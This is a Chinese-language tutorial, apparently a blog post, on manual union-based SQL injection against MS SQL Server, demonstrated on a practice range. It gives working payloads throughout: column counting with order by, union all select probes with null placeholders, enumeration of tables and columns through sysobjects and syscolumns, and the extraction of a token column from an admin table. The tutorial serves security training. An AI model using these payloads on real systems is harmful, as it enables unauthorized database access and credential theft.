目录
前言:
正文
0x01 mssql显错注入
1)猜字段
2)判断回显点
3)拓展
4)靶场实战
①查询表名
② 查询字段
③查询数据
文末
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 --+(注释符一样)
由于 mssql没有去研究,这里就介绍下手工注入的方法
这里会介绍 ms sql显错注入
然后再盲注,再反弹
以联合查询为例子,首先猜字段
然后联合查询,记住要写成 union all
然后猜输出点要使用 null 去填充
注释符为 --+
select name from dbo.sysdatabases //查询系统库
sysobjects //查询系统表 (xtype='U')
syscolumns 字段 (id=) 指定 sysobjects库中对应id
进入掌控 靶场
然后我们要先进行闭合,然后才 order by 排序
http://59.63.200.79:8015/?id=1' order by 3-- q
http://59.63.200.79:8015/?id=1' order by 4-- q
这时候发现,order by 3正常,order by 4错误。这时候判断字段有 3个
根据报错信息,我们知道有news表,那么就先写一下是个什么梗。构造个 payload
http://59.63.200.79:8015/?id=1' union select 1,2,3 from news-- q
这时候发现居然报错了
其实因为 union all select 要加个all,mysql也可以加,如果重复的话也可以显示
然后发现还是报错
为什么会报错,因为数据类型问题,如果我们不知道是什么数据类型的话
这里的 1,2,3 可以写成 null,null,null,然后构造payload,如下
这时候就发现了页面回显正常
http://59.63.200.79:8015/?id=1' union all select null,null,null from news-- q
这时候我们就要判断输出点的数据类型了,在第三个null换成 1
?id=1' union all select null,null,1 from news-- q
发现页面报错了, 那就继续构造payload,把 1改成 字符串 'aaa' 。这时候发现页面正常了,输出位也出来了
?id=1' union all select null,null,'aaa' from news-- q
接下来就是查询系统自带库,自带库中的表,表中的字段
库名 -> 表名 -> 字段
①在MS SQL数据库中查询库名 语句
这里我使用某云的一个,进行白嫖
然后使用 select*from dbo.sysdatabases
select*from 和mysql数据库一样,联合查询,然后dbo只是个前缀,就跟一般文件名的后缀那样的一个意思
然后 sys是系统,databases就是库的意思
结合一下,就是 select * from dbo.sysdatabases
这时候发现有3个库,前面2个是默认库
最后一个是自己创建的一个库
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。
其中,model和tempdb是默认没有数据表的。
②在MS SQL数据库中查询表名 语句
这个查询表的语句和 查询库的语句是一样的,所以就不解释了
objects是对象的意思,学过编程都知道
select*from dbo.sysobjects
这时候发现有77 条的数据,多的吓人~~~~~
这时候我们可以看一下特殊传参
这时候我们发现 xtype这个特殊的传参。我们可以指定一个条件 xtype='U'
select*from dbo.sysobjects where xtype='U'
其实可以理解成用户创建的 表 U可以理解成 Ueser,但是这里的 U要大写
然后发现,成功的查询到了一条数据,这个 hello 就是我刚刚创建的一个表
而 xtype='S' 其实就是sys系统的意思,就是系统默认的库
③在MS SQL数据库中查询字段名 语句
这时候构建个查询字段的语句,这时候发现又有好多的数据
几百条,字段这边也不可以使用 xtype了
select*from dbo.syscolumns
但是我们发现这个地方有个传参,叫做 id
然后看下什么的库,发现hello 库的 id为 245575913
这里其实是个对应的关系
?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
然后发现了这些字段分别为 a,b,c,d(因为我创建的时候是这样命名的)
然后,我们进入靶场,看下要怎么做
这里我们库名就不纠结了,没啥重要的
这里直接查询表名,构建个payload
?id=1' union all select null,null,null from dbo.sysobjects where xtype='U' -- q
然后得判断这3个的null,是个数字类型传参,还是字符串类型
?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q
这个时候页面前面的id出现了,变成了这样子
那么我们就可以把第一个null改为id
?id=1' union all select id,null,null from dbo.sysobjects where xtype='U' -- q
出现了id,这时候就可以再看下字段名是什么
我们把第二个的null改为 name,就可以查看了
如果第二个不可以,我们就可以把第三个的null 改为 name
这时候构造payload,成功的知道了表名和id了
?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- q
这时候我们就不需要id了,就把id改为null
然后我们是要查询字段,使用syscolumns,再指定admin所对应的id。构造一个payload
?id=1' union all select null,name,null from dbo.syscolumns where id=1977058079 -- q
现在我们知道了字段名和表名,就可以查询数据了
知道了表和字段名,就可以查询数据了
和MySQL数据库的注入语句差不多, from amdin表中的
?id=1' union all select null,token,null from admin -- q
这就是ms sql数据库的显错注入方式
没啥难度的,理解一下mysql和 mssql数据库的区别,以及特性,就比较容易懂了
还可以去看看这篇文章,个人觉得很全面
ms sql数据库及注入方法